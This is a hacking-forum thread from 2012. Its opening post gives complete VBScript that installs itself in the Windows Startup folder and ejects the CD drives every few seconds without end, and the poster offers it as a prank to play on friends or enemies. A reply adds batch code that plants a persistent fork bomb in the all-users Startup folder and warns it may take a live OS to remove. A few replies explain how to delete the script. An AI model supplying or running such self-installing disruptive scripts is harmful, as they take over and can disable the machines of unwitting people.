EvilZone
Hacking and Security => Hacking and Security => : Infinityexists April 10, 2012, 03:28:21 PM
-
This awesome hack continually pops out anyone's CD-ROM if they intentionally/non-intentionally execute the script, this is the perfect way to prank your friends or to tease your enemy :D
coded by me in VBScript,
simply copy/paste the code into a new notepad file and save it script.vbs extension and enjoy the Fun
'Coded by: Sufyan Ghori
'https://www.facebook.com/XuFyaN
Set obj1 = CreateObject("WMPlayer.OCX.7")
Set obj2 = obj1.cdromCollection
Set shell1 = CreateObject("WScript.Shell")
Set oShell = CreateObject("Shell.Application")
Set startupFolder = oShell.NameSpace(ssfSTARTUP)
set filesys=CreateObject("Scripting.FileSystemObject")
Const ssfSTARTUP = &H7
If Not startupFolder Is Nothing Then
tempPath = startupFolder.Self.Path
End If
If Not filesys.FileExists(tempPath & "\script.vbs") Then
shell1.Run "%COMSPEC%"
WScript.sleep 500
shell1.SendKeys "CD\" & vbCRLF & "copy " & shell1.CurrentDirectory & "\script.vbs " & """" & tempPath & """" & " /y" & vbCRLF
shell1.SendKeys "exit " & vbCRLF
End If
do
if obj2.Count >= 1 then
For i = 0 to obj2.Count - 1
obj2.Item(i).Eject
Next
For i = 0 to obj2.Count - 1
obj2.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Disabling the script,
http://xufyan.com/2012/04/04/continually-pop-out-cd-rom-even-if-the-pc-restarts/
- Thankyou
Sufyan Ghori
-
Aha, the fun old days :P I'm sure I still have my VBS folder laying around somewhere.
-
Didn't you already post that in this (http://evilzone.org/scripting-languages/few-dangerous-vbscript-codes-to-prank-your-friends/) thread?
-
Didn't you already post that in this (http://evilzone.org/scripting-languages/few-dangerous-vbscript-codes-to-prank-your-friends/) thread?
No ! i didn't :) you should have a look again :) that was the script that just Eject CD-Rom until the user restart the computer ;) but this one is more advanced
-
"Unstoppable CD-ROM ejection Attack"
*Opens Task Manager*
*Closes CD Drive Task*
Stopped.
=P
-
I just want to stop CD-ROM eject.......please help me.
-
I just want to stop CD-ROM eject.......please help me.
Do what the above post said lol.
-
I just want to stop CD-ROM eject.......please help me.
go to the startup directory of your windows , most probably you'll find it in Start menu, \
and delete script.vbs file from there, if you couldn't find the script.vbs file from start menu then search it in your C:/ drive and then delete it
-
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.
I lol'd at jubayernil's post.
-
I remember doing a combination of batch and vbs pranks, even compiled them as EXE's very fun to do...
How my pranks worked:
1. Create batch file to do anything (for example lets say a fork bomb)
In batch it would look like this:
@echo off
:START
start a.bat
GOTO START
So what I would do INSTEAD (Win7 version):
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
I would also use batch to create a VBS into start file. You can make it a little bit more intricate to make it cross platform (get which os then do a GOTO and label command for their specific operating system so if they do it on XP, Vista, 7, it doesn't matter ;)
@echo off
ver | find "XP" > nul
if %ERRORLEVEL% == 0 goto winxp
echo %vers% | find "Windows 7" > nul
if %ERRORLEVEL% == 0 goto win7
:winXP
@echo off > %AllUsers%\Start Menu\Programs\Startup\a.bat
:STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
start a.bat >> %AllUsers%\Start Menu\Programs\Startup\a.bat
GOTO STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
:Win7
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
It would look something like that.. Can't remember its been a while ;)
NOTE:
If you run this batch file a bunch of cmd windows will open, if you run Windows 7 and you run the one that creates itself in startup, be sure to remove the file in startup first, otherwise you will need a live OS to fix it! (by simply deleting it)
-
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.
I lol'd at jubayernil's post.
I'm glad that people are actually using my Script :)
@iTpHo3NiX:
your code seems so cool :)
there are few clever techniques that could come handy too , I've copied it into my collection.
P.S: Thanks a lot for considering replying into my thread with such a useful stuff :)
-
thanks so much for this source code..btw how did you learn all of those? i even watched your video on youtube and its very nice..im just a noobie and would love to learn from you, I also added you on Facebook. :)